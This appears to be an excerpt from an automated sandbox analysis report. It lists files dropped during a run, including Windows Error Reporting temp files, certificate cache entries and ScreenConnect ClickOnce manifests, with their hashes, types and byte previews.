.F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.2.2.6.0.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERDD1.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4738
Entropy (8bit):	4.525926181500605
Encrypted:	false
SSDEEP:	48:cvIwWl8zsgJg77aI9p2WpW8VY+Ym8M4JHAxArEFD+q80AXhupqwzAFXAF3d:uIjfmI7TX7VCJamup1qO3d
MD5:	D7625E95D90263B689F13E1FD154E741
SHA1:	D34C6DD5EBFC102B1AADB3829E2DDB6E25C09D44
SHA-256:	BA2682C11920D166E582618FF357ED17A92384A40EC906A5E4C663512DC05673
SHA-512:	C26D6F596984469A02B3140ED00BF755F57C8E0ED149BB0C2565D664DA61501DBCA6ED35A4427755FA77320DD06849A67E86FD477C6A4DD3E72EAAE917DCE6C6
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="578943" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\ProgramData\Microsoft\Windows\WER\Temp\WERDDF.tmp.csv

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	78990
Entropy (8bit):	3.066430991149799
Encrypted:	false
SSDEEP:	1536:aN2Wum9rlzqxRjibC0rt3LTzFHmaYfMf7571w:aN2Wum9rlzqxRjibC0rt3LTzFHmaYfMk
MD5:	2871A127EEBF25011D973A1949D5CCD7
SHA1:	209B318752B79D6923449E5B592D494F6FA5238D
SHA-256:	EB2CB398D493F35E6953B06B49534925A82F181E72E3C77E2D6A03D4E9AD0271
SHA-512:	3FD6804C2947A314DAFA9D3A3083704BDE518FB6A9C4E2D753BDF16246CF2D081A88D95CEAF7C3FC5875666BE90B3792554D102956D3C8D1437DD649CF8F38C0
Malicious:	false
Preview:	I.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.r.o.c.e.s.s.I.d.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.,.W.o.r.k.i.n.g.S.e.t.P.r.i.v.a.t.e.S.i.z.e.,.H.a.r.d.F.a.u.l.t.C.o.u.n.t.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.H.i.g.h.W.a.t.e.r.m.a.r.k.,.C.y.c.l.e.T.i.m.e.,.C.r.e.a.t.e.T.i.m.e.,.U.s.e.r.T.i.m.e.,.K.e.r.n.e.l.T.i.m.e.,.B.a.s.e.P.r.i.o.r.i.t.y.,.P.e.a.k.V.i.r.t.u.a.l.S.i.z.e.,.V.i.r.t.u.a.l.S.i.z.e.,.P.a.g.e.F.a.u.l.t.C.o.u.n.t.,.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.P.e.a.k.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.Q.u.o.t.a.P.e.a.k.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.e.a.k.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.e.a.k.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.r.i.v.a.t.e.P.a.g.e.C.o.u.n.t.,.R.e.a.d.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.W.r.i.t.e.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.O.t.h.e.r.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.R.e.a.d.T.r.a.n.s.f.e.r.C.o.u.n.t.,.W.r.i.t.e.T.r.a.n.s.f.e.r.C.o.u.n.t.,.O.t.h.e.r.T.r.a.n.s.f.e.r.C.o.u.n.t.,.H.a.n.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERE1E.tmp.txt

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	13340
Entropy (8bit):	2.6837838614035
Encrypted:	false
SSDEEP:	96:TiZYWVU/LC+0SHYoYZqWIjuHFYEZ6wt8iwL8tjwWJ6A2a/OvHMMpa3IEL3:2ZDV+P/jjAca/OEMpaYEL3
MD5:	7DD783698A3DD919D2BF1F600A15C45B
SHA1:	B3FD6D7DAE5EDF83F5EC3EEBDC3B84EA6305119D
SHA-256:	125A90F3E1E4046AC09E070CE5D12EEDD7A5567D9CA03619B1B58FA7D9471667
SHA-512:	D825A4FED48CBC3C7B0AAD2BDFC45319AB57C3FD463196E890D8438F2AD7B596CE678BEE642E4797B8AF1815C9C186B47EED8DEDEB68A2CC3B27458BF1FCDF3F
Malicious:	false
Preview:	B...T.i.m.e.r.R.e.s.o.l.u.t.i.o.n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.5.6.2.5.0.....B...P.a.g.e.S.i.z.e. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4.0.9.6.....B...N.u.m.b.e.r.O.f.P.h.y.s.i.c.a.l.P.a.g.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . .1.0.4.8.3.3.3.....B...L.o.w.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2.....B...H.i.g.h.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . .1.3.1.0.7.1.9.....B...A.l.l.o.c.a.t.i.o.n.G.r.a.n.u.l.a.r.i.t.y. . . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.i.n.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.a.x.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . .1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B...A.c.t.i.v.e.P.r.o.c.e.s.s.o.r.s.A.f.f.i.n.i.t.y.M.a.s.k. . . . . . .

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\57C8EDB95DF3F0AD4EE2DC2B8CFD4157

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 4770 bytes, 1 file, at 0x2c +A "disallowedcert.stl", number 1, 1 datablock, 0x1 compression
Category:	dropped
Size (bytes):	4770
Entropy (8bit):	7.946747821604857
Encrypted:	false
SSDEEP:	96:9/nBu64pydcvOHRUfu0xK1bQYMRSRNoYmxYvk56sHMZhh4m:9/nBuP2cGxUfu6K1bpWJ6vfh4m
MD5:	1BFE591A4FE3D91B03CDF26EAACD8F89
SHA1:	719C37C320F518AC168C86723724891950911CEA
SHA-256:	9CF94355051BF0F4A45724CA20D1CC02F76371B963AB7D1E38BD8997737B13D8
SHA-512:	02F88DA4B610678C31664609BCFA9D61DB8D0B0617649981AF948F670F41A6207B4EC19FECCE7385A24E0C609CBBF3F2B79A8ACAF09A03C2C432CC4DCE75E9DB
Malicious:	false
Preview:	MSCF............,...................O.................2Wqh .disallowedcert.stl....^K...CK.wTS...:.w.K'.C0T.....Bh.{....C.)......Y@...(..).R."E..D^6........u....\|f~3...o.3. ..SPK.k.o#...."{-.U..P........:..aPr.@.d......Dy.h.....)..:...!./\A.....A<I_<$...q.h..........'.....7....H...@`T..K.S.%...Y4..R.....`.....-....D...(..b..-c."...G.=.dx..S+..2.a.E....d.L...77J...c.[..@..iT&..^78..g....NW6.Ek..FY.F........cNt.O...R..........D...... k........J.y...z.d...;.9_t...].@....yw..}.x....d.t..`f\K..;\|.h.X...4/.;.xT......q>.0...<...3...X..L$.&.,b.....\V....\......G..O..@..H3.....t..J..).x.?.{[..G>.7...<...^Q..z..Gw9P..d....i].n%K}.z..2.Py...A..s...z..@...4..........4.....Y.d..._Z.5.s..fl.C..#.K{9^.E...k..z.Ma..G.(.....5g. ...}.t.#4....$;.,....S@fs....k......u .^2.#_...I........;.......w..P...UCY...$;.S._\|.x..dK...[i..q..^.l..A.?.....'N.. .L.l......m.*.+f#]............A.;.....Z..rIt....RW....Kr1e=8.=.z:Oi.z.d..r..C_......o...]j.N;.s....3@3.dgrv.

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\C56C4404C4DEF0DC88E5FCD9F09CB2F1

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1716
Entropy (8bit):	7.596259519827648
Encrypted:	false
SSDEEP:	48:GL3d+gG48zmf8grQcPJ27AcYG7i47V28Tl4JZG0FWk8ZHJ:GTd0PmfrrQG28cYG28CEJ
MD5:	D91299E84355CD8D5A86795A0118B6E9
SHA1:	7B0F360B775F76C94A12CA48445AA2D2A875701C
SHA-256:	46011EDE1C147EB2BC731A539B7C047B7EE93E48B9D3C3BA710CE132BBDFAC6B
SHA-512:	6D11D03F2DF2D931FAC9F47CEDA70D81D51A9116C1EF362D67B7874F91BF20915006F7AF8ECEBAEA59D2DC144536B25EA091CC33C04C9A3808EEFDC69C90E816
Malicious:	false
Preview:	0...0............@.`.L.^.....0....H........0b1.0...U....US1.0...U....DigiCert Inc1.0...U....www.digicert.com1!0...U....DigiCert Trusted Root G40...210429000000Z..360428235959Z0i1.0...U....US1.0...U....DigiCert, Inc.1A0?..U...8DigiCert Trusted G4 Code Signing RSA4096 SHA384 2021 CA10.."0....H.............0........./B.(.x.].9Y...B.3..=..p..&0...h.\..4$..KO.xC........g.RO..W.......>Mp$d....}4}L.W.kC....;....GZ..L.. %............e....I5.=Q..!xE...,.......IpB2......eh..ML..HRh....W]...e...O.,H.V.5........7.....\|...2........t..9..`.....1.......#GG...n..m.....jg-.D......;...2Z..j`T.I....\.o.&....8........o.a4\..E(.6*f(_.s.&%....\...L.b.^3........+..6y.....u.e..HP.w....P.F.aX..\|..<.(.9....S..G.u0..0.v..[K]taM?..v.X.r.)A...m&vh.A.X..&+..MY.x.J>@G_.Ps..#!Y`.dT..!..8.\|f..x8E0.O.cOL....SA\|X=G....2...l<.V.........Y0..U0...U.......0.......0...U......h7..;._....a{..e.NB0...U.#..0.......q]dL..g?....O0...U...........0...U.%..0...+.......0w..+........k0i0$..+.....0...http:/

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\C8E534EE129F27D55460CE17FD628216_1130D9B25898B0DB0D4F04DC5B93F141

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe
File Type:	data
Category:	dropped
Size (bytes):	727
Entropy (8bit):	7.562070540258883
Encrypted:	false
SSDEEP:	12:5onfZSc5RlRtBfQwRhs5vCZgPVrVJEYbw7OIiVFQlb8PjcNCUAnqr/E:5i8cdZTRhG+gPZPfIgMb8PjcNCa/E
MD5:	EB9A1D98CC4B6AC3D674A6621DF5A758
SHA1:	5E9BC182D48B8E86A61D8A3F4B5ADD9C88DA6800
SHA-256:	20D856D68DBA3E2246EBB62A5EAEDCEFDA221ACCFA1B9362B33AFAD33B6E48C7
SHA-512:	1054D82E5E1B2F2C1416D31F01FF2C172ACA8DCC31A622CDD959F918B78A474BD9B40A9B7316122A8262FAC24D6236860E2EADD665030A61D56C5C0A153F81C7
Malicious:	false
Preview:	0..........0.....+.....0......0...0..........q]dL..g?....O..20241107184215Z0s0q0I0...+........."..;F..=\@ua..........q]dL..g?....O....@.`.L.^........20241107184215Z....20241114184215Z0....H.............t.yl..<Y.&4S.....).G...s.X.S.x....)l.ng.Jpe....-...}@....\|.....J.\#(....]..}.......k/.a..v.I.w...6.W.`{.D..z.%.c.T".p....\....CX..L...u.n...6t.6..1W....f....m6.W....?..N...d.Q..1...H+..k..A.X..../&a.I....#..)..h..'..@...'s.~.i.X"...w.B...P\.K..3..V.5...A.-l..#.V...i...\.)=..G.ob....o............eTi.1...)k..+.e.?. :.X.0^.k.4.;.....S8....\.K.w#q..._m.F....(^.......}.\.}?...W....T.......)..#..{6QC...'....=....f.....>........{}.k..\....i.....e..F..1&.%.U.aAO....k....<....p?S.

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\F2E248BEDDBB2D85122423C41028BFD4

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1428
Entropy (8bit):	7.688784034406474
Encrypted:	false
SSDEEP:	24:nIGWnSIGWnSGc9VIyy0KuiUQ+7n0TCDZJCCAyuIqwmCFUZnPQ1LSdT:nIL7LJSRQ+QgAyuxwfynPQmR
MD5:	78F2FCAA601F2FB4EBC937BA532E7549
SHA1:	DDFB16CD4931C973A2037D3FC83A4D7D775D05E4
SHA-256:	552F7BDCF1A7AF9E6CE672017F4F12ABF77240C78E761AC203D1D9D20AC89988
SHA-512:	BCAD73A7A5AFB7120549DD54BA1F15C551AE24C7181F008392065D1ED006E6FA4FA5A60538D52461B15A12F5292049E929CFFDE15CC400DEC9CDFCA0B36A68DD
Malicious:	false
Preview:	0...0..x..........W..!2.9...wu\0....H........0b1.0...U....US1.0...U....DigiCert Inc1.0...U....www.digicert.com1!0...U....DigiCert Trusted Root G40...130801120000Z..380115120000Z0b1.0...U....US1.0...U....DigiCert Inc1.0...U....www.digicert.com1!0...U....DigiCert Trusted Root G40.."0....H.............0..........sh..]J<0"0i3..%..!=..Y..).=X.v..{....0....8..V.m...y....._..<R.R....~...W.YUr.h.p..u.js2...D.......t;mq.-... .. .c)-..^N..!a.4...^.[......4@_.zf.w.H.fWW.TX..+.O.0.V..{]..O^.5.1..^......@.y.x...j.8.....7...}...>..p.U.A2...sn..\|!L....u]xf.:1D.3@...ZI...g.'..O9..X..$\F.d..i.v.v=Y]Bv...izH....f.t..K...c....:.=...E%...D.+~....am.3...K...}....!........p,A`..c.D..vb~.....d.3....C....w.....!..T)%.l..RQGt.&..Au.z._.?..A..[..P.1..r."..\|Lu?c.!_. Qko....O..E_. ........~.&...i/..-............B0@0...U.......0....0...U...........0...U..........q]dL..g?....O0....H..............a.}.l.........dh.V.w.p...J...x\.._...)V.6I]Dc...f.#.=y.mk.T..<.C@..P.R..;...ik.

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	modified
Size (bytes):	338
Entropy (8bit):	3.527255541181304
Encrypted:	false
SSDEEP:	6:kK6K8vF/aJmsN+SkQlPlEGYRMY9z+s3Ql2DUevat:iK4FdTkPlE99SCQl2DUevat
MD5:	B8DA250B955455DA2C60717FC0C22805
SHA1:	DC92AE48545A1175A4E09C974E96AC69C29ECE5D
SHA-256:	D9E2AAE548FB4B709465DC59AE1FC5AFF0A68056579D2E3B93E20D059E2F4521
SHA-512:	67C278AF84D1CDCA4E1DA51C7A116E84D4BFCEC996997CD4D2122AA7DA388FAC539AD10CD0E7A29CEB774259B958A0621D3E6A7492913DF8ADD72D161C1FF759
Malicious:	false
Preview:	p...... .........oq.a3..(..................................................<K2.. .........p.........$.....(=........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.d.i.s.a.l.l.o.w.e.d.c.e.r.t.s.t.l...c.a.b...".7.4.6.7.8.7.a.3.f.0.d.9.1.:.0."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe
File Type:	data
Category:	dropped
Size (bytes):	328
Entropy (8bit):	3.2300897763107805
Encrypted:	false
SSDEEP:	6:kKf0rNtL9UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:XiqDImsLNkPlE99SNxAhUe/3
MD5:	72AD35824C698B9D90196D3E737C475C
SHA1:	A4282692B0DEEE6CAF4236013AD69F1FEEA5A945
SHA-256:	B542FB1EF072621349D1495D08E66E4E7F4DF2402A32A39E22980283378C6DCA
SHA-512:	5B88B32F539B4CB43EFF6557B0A403B3DC453970AA15949C40933F0AD6540DBAA7D0EDE7BA7AF77A97F9E08036BDDD9489AB913EA1E1BC5EB2889DA5007BBA1C
Malicious:	false
Preview:	p...... ...........t.2..(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\C56C4404C4DEF0DC88E5FCD9F09CB2F1

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe
File Type:	data
Category:	dropped
Size (bytes):	308
Entropy (8bit):	3.194931322323056
Encrypted:	false
SSDEEP:	6:kK7klfzNcalgRAOAUSW0P3PeXJUwh8lmi3Y:XtWOxSW0P3PeXJUZY
MD5:	E36CE6E88935DD78C8014277A34F968E
SHA1:	99D3E35825BA2BF2DAC4900C1D5E04D6DECEAC49
SHA-256:	16C05357BA825A6462A4A2224ED6A9457005658592D28ECFF2D23E27434F7026
SHA-512:	D00144DB94872C35A879F96332EE9C5C7C0D965D0B02BE8B89BDB784338495F3D55834C7106A33DC81AD3D777122A98FE13C5C7FA01918FAC7D47C3FBC5B91F8
Malicious:	false
Preview:	p...... ..........T#-2..(....................................................... ........}.-@@......................h.t.t.p.:././.c.a.c.e.r.t.s...d.i.g.i.c.e.r.t...c.o.m./.D.i.g.i.C.e.r.t.T.r.u.s.t.e.d.G.4.C.o.d.e.S.i.g.n.i.n.g.R.S.A.4.0.9.6.S.H.A.3.8.4.2.0.2.1.C.A.1...c.r.t...".6.0.9.0.3.0.2.2.-.6.b.4."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\C8E534EE129F27D55460CE17FD628216_1130D9B25898B0DB0D4F04DC5B93F141

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe
File Type:	data
Category:	dropped
Size (bytes):	412
Entropy (8bit):	3.968277444337835
Encrypted:	false
SSDEEP:	12:ZhJqk7ymxMiv8sFBSfamB3rbFURMOlAkr:BPymxxv7Sf13rbQJr
MD5:	26FBAD6DE5DF50DBA12ECDA4DFBAD91E
SHA1:	E36A2E77797DF5D9C7821A1CA70E0F83F0B5A931
SHA-256:	00E04530932DB1A0FA0E4AC13B922B5C4A45620E0417A9748333AC8D5DC2F7C1
SHA-512:	234EA08713858F3CEEF1C54191E27357498918D39315C9507A6D62CBB9C1234E92538B0033CE08C62F11E313CBECD2D0356D5BA5E48FAFE10AC553E8BB6B4D00
Malicious:	false
Preview:	p...... ....(...Q..."2..(...................D1......6......................6.. ........X.7.1.. ...................h.t.t.p.:././.o.c.s.p...d.i.g.i.c.e.r.t...c.o.m./.M.F.E.w.T.z.B.N.M.E.s.w.S.T.A.J.B.g.U.r.D.g.M.C.G.g.U.A.B.B.T.f.I.s.%.2.B.L.j.D.t.G.w.Q.0.9.X.E.B.1.Y.e.q.%.2.B.t.X.%.2.B.B.g.Q.Q.U.7.N.f.j.g.t.J.x.X.W.R.M.3.y.5.n.P.%.2.B.e.6.m.K.4.c.D.0.8.C.E.A.i.t.Q.L.J.g.0.p.x.M.n.1.7.N.q.b.2.T.r.t.k.%.3.D...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\F2E248BEDDBB2D85122423C41028BFD4

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe
File Type:	data
Category:	dropped
Size (bytes):	254
Entropy (8bit):	3.0528988669712294
Encrypted:	false
SSDEEP:	6:kKWLhLDcJgjcalgRAOAUSW0PTKDXMOXISKlUp:+NLYS4tWOxSW0PAMsZp
MD5:	8804E82049FEE0001EA53237D972AD97
SHA1:	38FE880B44CF09513222BC5514EA9D55330A98A0
SHA-256:	A906F2BE97C74C8C14557C3478C6E7037C00C39AC4ADF52CFAB2B78666613C6A
SHA-512:	B478F9B0CB9694C649AB86671866F692EEAB040D8233B3B8C8FDB2DC072EF714569E29A7431754ACDEE726506483B7400D4AEDD50F2B503DDDBEF2F692584B1D
Malicious:	false
Preview:	p...... ....l.....^..2..(....................................................... ............n......................h.t.t.p.:././.c.a.c.e.r.t.s...d.i.g.i.c.e.r.t...c.o.m./.D.i.g.i.C.e.r.t.T.r.u.s.t.e.d.R.o.o.t.G.4...c.r.t...".5.a.2.8.6.4.1.7.-.5.9.4."...

C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\manifests\scre...exe_25b0fbb6ef7eb094_0018.0002_none_98a7d58e59681f92.cdf-ms

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe
File Type:	data
Category:	dropped
Size (bytes):	25496
Entropy (8bit):	5.615417083549069
Encrypted:	false
SSDEEP:	384:elqUkoGo26tX9DkX9R/QPIBM7YguPkuaCH7kLgOv0TcI/:esx626tX9DkX9R/QPI+0gu8uxHOgOvIR
MD5:	4E30948F3FF7D1908072E8BA586B3DF8
SHA1:	BAB0CBBE38B99AB51E54202E366A61667C0F5A8E
SHA-256:	88146FDC8139E14021697F442BDA3499AA6C7B9A8E9CADAD0E745360B4E036E2
SHA-512:	E247D160D9C74996FFA5AFD2B506DA3B1BBAB318820CBB34CB98D5EB1C9B7357C3FCAE9627435B8E7CCBC99A592122DD998D1C38D9DBCF1069465626CDDB52B6
Malicious:	false
Preview:	PcmH.............f.......!...T...........................e...?....<.g..J.\|r,..`P....}'.d.........8........R....................U.K...W.....U..c...................'-........s".I...R.....$...........3..L.G.......S..{.........6.......'~.x.h.....[...........5...M...8..........~9......-.a:...j.......;...K*...!.<......6..A....y.].m..C....=4.....E....&..{.!.G....qz...#aI...@.R....K....u..IV..N......D..O.....E..X.R...O.&r..VzU......3LD.SY...[s.T..<\...........`.......=...P...S...V...Z...].......,.......L.......T.......\.......`.......\|...........................................@.......0...........<.......T.......h.......\|...0.......................................0...........<.......T.......h.......\|...0.......................................0...........8.......L.......`...0...l.......................................................................,.......8.......L.......`.......l...........................................................................................@...

C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\manifests\scre...exe_25b0fbb6ef7eb094_0018.0002_none_98a7d58e59681f92.manifest

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with very long lines (10074), with CRLF line terminators
Category:	dropped
Size (bytes):	17866
Entropy (8bit):	5.954687824833028
Encrypted:	false
SSDEEP:	384:ze1oEQwK45aMUf6FX9hJX9FX9R/QPIYM7Y7:zd6FX9hJX9FX9R/QPIN07
MD5:	1DC9DD74A43D10C5F1EAE50D76856F36
SHA1:	E4080B055DD3A290DB546B90BCF6C5593FF34F6D
SHA-256:	291FA1F674BE3CA15CFBAB6F72ED1033B5DD63BCB4AEA7FBC79FDCB6DD97AC0A
SHA-512:	91E8A1A1AEA08E0D3CF20838B92F75FA7A5F5DACA9AEAD5AB7013D267D25D4BF3D291AF2CA0CCE8B73027D9717157C2C915F2060B2262BAC753BBC159055DBDF
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>..<asmv1:assembly xsi:schemaLocation="urn:schemas-microsoft-com:asm.v1 assembly.adaptive.xsd" manifestVersion="1.0" xmlns:asmv1="urn:schemas-microsoft-com:asm.v1" xmlns="urn:schemas-microsoft-com:asm.v2" xmlns:asmv2="urn:schemas-microsoft-com:asm.v2" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:co.v1="urn:schemas-microsoft-com:clickonce.v1" xmlns:asmv3="urn:schemas-microsoft-com:asm.v3" xmlns:dsig="http://www.w3.org/2000/09/xmldsig#" xmlns:co.v2="urn:schemas-microsoft-com:clickonce.v2">.. <asmv1:assemblyIdentity name="ScreenConnect.WindowsClient.exe" version="24.2.10.8991" publicKeyToken="25b0fbb6ef7eb094" language="neutral" processorArchitecture="msil" type="win32" />.. <application />.. <entryPoint>.. <assemblyIdentity name="ScreenConnect.WindowsClient" version="24.2.10.8991" publicKeyToken="4B14C015C87C1AD8" language="neutral" processorArchitecture="msil" />.. <commandLine file="ScreenConnect.WindowsClient.exe" paramet

C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\manifests\scre..core_4b14c015c87c1ad8_0018.0002_none_5411371a15332106.cdf-ms

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe
File Type:	data
Category:	dropped
Size (bytes):	3452
Entropy (8bit):	4.193916446057946
Encrypted:	false
SSDEEP:	96:lJ3uWWGeV+WwQXlmLLxDPoNV1TpzLhIYX:r3iJUHxDSTJNf
MD5:	C9335262CF2AD960207E261B54AB6004
SHA1:	EBB7F58314AE1E1B3A1AA9CB4B503646DC0C28A9
SHA-256:	1930DDFE557C2FA46545ABD76C43B2DB811233B5BCAF8938FB9AF2BBAB549373
SHA-512:	8873E334E047ADFEB72E895DF8823E56E62C57D47F0C888AD9D1BD3CCAE75C79D1304F51006E9D50A2C9EB8327130ED49DA3B698AE341DFA966E9FF3BF6F631A
Malicious:	false
